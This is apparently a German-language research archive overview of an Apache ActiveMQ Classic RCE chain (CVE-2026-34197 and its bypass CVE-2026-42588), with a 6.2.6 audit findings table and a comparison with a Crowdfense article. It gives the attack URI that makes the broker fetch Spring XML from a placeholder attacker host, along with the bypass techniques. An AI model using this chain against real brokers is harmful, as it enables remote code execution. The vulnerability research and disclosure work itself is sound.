
Apache ActiveMQ Classic RCE Forschung: CVE-2026-34197 / CVE-2026-42588 Bypass-Kette + hardened-6.2.6 Prüfungsergebnisse + Crowdfense Vergleich
Privates Forschungsarchiv für die Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML Remote-Code-Execution-Kette (CVE-2026-34197 und deren Patch-Bypass CVE-2026-42588), plus ein vollständiges automatisches Forschungsaudit der behobenen Version 6.2.6 und ein direkter Vergleich mit Crowdfenses öffentlichem Bypass-Artikel.
Alle Exploitationen wurden gegen lokale Lab-Broker (Docker / selbst gehostet) durchgeführt. Payloads verwenden Platzhalter-Angreifer-Hosts.
| Verz. | Phase | Inhalt |
|---|---|---|
00-comparison-vs-crowdfense.md | Vergleich | Unsere Arbeit vs. den Crowdfense-Artikel „ActiveMQ RCE Bypass", quellenverifiziert an Datei:Zeile |
01-original-cve-2026-34197/ | Original-Nachvollzug | Analyse + PoC-Skripte + Spring-XML-Payloads (Labor: activemq-classic:5.18.6) |
02-reaudit-apr30/ | Versionsmatrix | uid=0 auf 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; Bewertung + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | Live-Bypass | Composite-Bypass ohne Klammern (42588) + MessageServlet XSS (42253), live reproduziert |
04-audit-6.2.6/ | Vollständiges Audit | Auto-Forschungsaudit der gehärteten 6.2.6: Abschlussbericht + Ergebnisliste |
Quelltextbäume und Binärverteilungen des Herstellers, die während der Labore verwendet wurden, sind absichtlich ausgeschlossen (sie stammen vom Upstream, nicht von uns).
Ein authentifizierter (bei 6.0.0–6.1.1 unauthentifiziert über CVE-2024-32114) Jolokia-Aufrufer ruft BrokerView.addNetworkConnector(uri) mit einer manipulierten Discovery-URI auf, deren innerer vm://…?brokerConfig=xbean:<url> den Broker zwingt, ein angreifergesteuertes Spring-XML zu laden, das eifrig einen ProcessBuilder-Bean vor der Broker-Validierung instanziiert → Betriebssystem-Befehlsausführung.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
Schlagzeile: Drei Ergebnisse sind live nachgewiesen für Root/XSS; das 6.2.6-Audit fügt eine breitere Menge hinzu, die quellenverifiziert und feindlich bewertet, aber noch nicht live detoniert ist. Keines der 6.2.6-Erweiterungen ist eine neue unauthentifizierte RCE – der Anbieter hat diese Türen geschlossen; das Restrisiko verlagerte sich auf Autorisierung und Ausgabekodierung.
MQTT QoS ordinal AIOOBE (QoS.values()[ordinal], protokollübergreifend, keine Konfiguration) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · signed-short NegativeArraySizeException in OpenWire-Unmarshal · negative AMQ_SCHEDULED_REPEAT unsterblicher Job.
Crowdfenses Apache ActiveMQ RCE Bypass behandelt die gleiche Kette (sie führen sie unter CVE-2026-34197; wir verfolgen den Bypass als eigenen CVE-2026-42588). Beide Darstellungen stimmen in einer dreischichtigen Verteidigung überein; die einzige Abweichung ist Schicht 2.
Die eine Lücke: Ihr Layer-2-Prozentkodierungs- + UNC/WebDAV-Trick erreicht eine vollständig entfernte Zustellung ohne lokale Schreibprimitive. Der Ausweichfehler, den er ausnutzt (activemq-spring/Utils.java:123-129, ein rohes startsWith("file://") auf dem unkodierten String) ist in unserem genauen Quellcode vorhanden – aber die entfernte Hälfte ist Windows-only (Linux behandelt //host/share als lokalen Pfad), und unser Labor war Linux, daher war es dort nicht ausführbar. Es ist auf 6.2.6 ohnehin tot (das VMTransportFactory Schema-Gate lehnt xbean ab, bevor Utils läuft).
Weiterführend: Ein Windows-gehostetes 5.19.6 (oder ein beliebiges Pre-5.19.7/6.2.6-Build) + SMB/WebDAV-Listener würde es uns ermöglichen, den vollständig entfernten Allow-List-Bypass zu demonstrieren – die einzige Fähigkeit, die der Artikel hat, die unser Engagement nicht gezeigt hat.
Drei Commits schließen die Kette: c1b44af11 (Composite-URIs ohne Klammern validieren – parseComposite bedingungslos + rekursiv), c2fc7a1d6 (XBeanBrokerFactory standardmäßig über die VMTransportFactory-Schema-Erlaubnisliste blockieren) und be8415f24 (Beispielkonfigurationshärtung: Jolokia auf Loopback, Operationssperrliste mit addNetworkConnector).
| ID | Ergebnis | Klasse | Schweregrad | Authentifizierung | Nachweis |
|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | Kritisch | Nach Authentifizierung (unauthentifiziert 6.0.0–6.1.1) | Live – uid=0 auf 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| CVE-2026-42588 | Composite-URI-Bypass ohne Klammern der 34197-Liste | RCE (Patch-Bypass) | Kritisch | Nach Authentifizierung | Live – uid=0 auf 34197-gepatchtem 5.19.6 + 6.2.0 |
| CVE-2026-42253 | MessageServlet Header-Injection → gespeichertes XSS | Injection / XSS | Mittel | Nach Authentifizierung | Live auf 6.2.0 |
| ID | Ergebnis | Klasse | Schweregrad | Authentifizierung | Anmerkungen |
|---|
| C1 | static: Lücke in der Sperrliste → SSRF – static fehlt in DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → ausgehender Broker-TCP | SSRF | Mittel | Admin / JMX | Sink-Variante hinter derselben 34197/42588-Sperrliste, die der Artikel behandelt |
| B1 | Cross-clientId-Löschung-IDOR bei dauerhaften Abonnements – removeSubscription verwendet die drahtgelieferte clientId und ist in AuthorizationBroker nicht abgesichert | Fehlerhafte Autorisierung / IDOR | Mittel | Nach Authentifizierung (vor Authentifizierung, wenn Broker-Auth aus) | Sauberstes neues Ergebnis |
| B3 | LDAP leeres Passwort → anonymer Bind (LDAPLoginModule, keine Leerprüfung) | Authentifizierungsumgehung | Mittel (bedingt) | Vor Authentifizierung | Abhängig davon, dass das Verzeichnis anonyme Bindungen akzeptiert |
| A1–A7 | Konsolen Ausgabekodierungs-Injektionsfamilie – angreifergesteuertes MessageId.textView (OpenWire v10+ & AMQP) nicht maskiert über ~7 JSP/REST-Senken + FileSystemBlobStrategy Pfad-Traversal | Injektion | Niedrig–Mittel | Produzent → Administrator | Standardmäßig durch CSP auf HTML/Content-Injektion beschränkt |
| B2 | Shiro WildcardPermission Doppelpunkt-Injektion Verb-Hochstufung | Privilegienerweiterung | Niedrig–Mittel | Nach Authentifizierung | Shiro nicht standardmäßig |
| B4 | Temp-Destination-Autorisierung Fail-Open-Asymmetrie vs. Nicht-Temp-Fail-Closed | Fehlerhafte Autorisierung | Niedrig | Nach Authentifizierung | Designbedingt (AMQ-4721); Härtungshinweis |
| B5 | StatisticsBroker replyTo überspringt Schreib-ACL, wenn Plugin vor Autorisierung angeordnet ist | Fehlerhafte Autorisierung | Niedrig | Nach Authentifizierung | Abhängig von der Konfigurationsreihenfolge |
| B6 | Cert-Login nicht-kanonischer DN (getSubjectDN().getName()) → Identitätskollision unter Zertifikaten derselben CA | Authentifizierung | Niedrig | Vor Authentifizierung (TLS-validiert) | „Jedes selbstsignierte Zertifikat" funktioniert nicht |
| B7 | JMSXUserID Spoofing, wenn populateJMSXUserID=false (Standard) | Spoofing | Niedrig | Nach Authentifizierung | — |
| F5 | STOMP ausgehender Header-Name nie maskiert → Frame-Injection an Co-Tenant-Abonnenten | Injektion | Niedrig | Protokollübergreifend | STOMP aktiviert |
| Layer | Verteidigung | Crowdfense umgeht es durch | Wir umgingen es durch |
|---|
| 1 | Schema Sperrliste (34197-Fix) | Composite ohne Klammern static:vm://… | Gleich – unabhängig gefunden ✅ |
| 2 | xbean {file,classpath} Erlaubnisliste (#1910) | Prozentkodiertes file:%2f%2f… → Windows UNC → WebDAV → entfernter HTTP-Abruf | Lokale Datei xbean:/tmp/evil.xml (erfordert lokalen Schreibzugriff) |
| 3 | VMTransportFactory Schema-Gate (broker,properties, der 42588/6.2.6-Fix) | Als endgültig anerkannt | Gleiche Schlussfolgerung ✅ |